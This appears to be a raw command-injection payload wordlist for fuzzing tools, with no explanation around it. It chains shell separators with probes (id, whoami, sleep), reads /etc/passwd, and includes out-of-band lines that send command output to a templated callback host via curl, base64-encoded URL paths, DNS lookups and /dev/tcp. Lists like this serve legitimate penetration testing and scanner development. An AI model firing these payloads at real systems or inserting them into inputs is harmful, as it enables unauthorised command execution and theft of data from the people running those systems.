;id |id ||id &&id $(id) `id` ;whoami & whoami ;curl {{CALLBACK}} |curl {{CALLBACK}} $(curl {{CALLBACK}}) `curl {{CALLBACK}}` ;nslookup {{CALLBACK}} ;ping -c1 {{CALLBACK}} ;wget -qO- {{CALLBACK}} ;sleep 5 |sleep 5 $(sleep 5) ;ping -c5 127.0.0.1 & timeout 5 ; && || | %0a %0d%0a `command` $(command) ${IFS} ;id|curl -d @- {{CALLBACK}} ;curl {{CALLBACK}}/$(id|base64 -w0) ;id > /dev/tcp/{{IP}}/{{PORT}} ;nslookup $(whoami).{{CALLBACK}} {cat,/etc/passwd} cat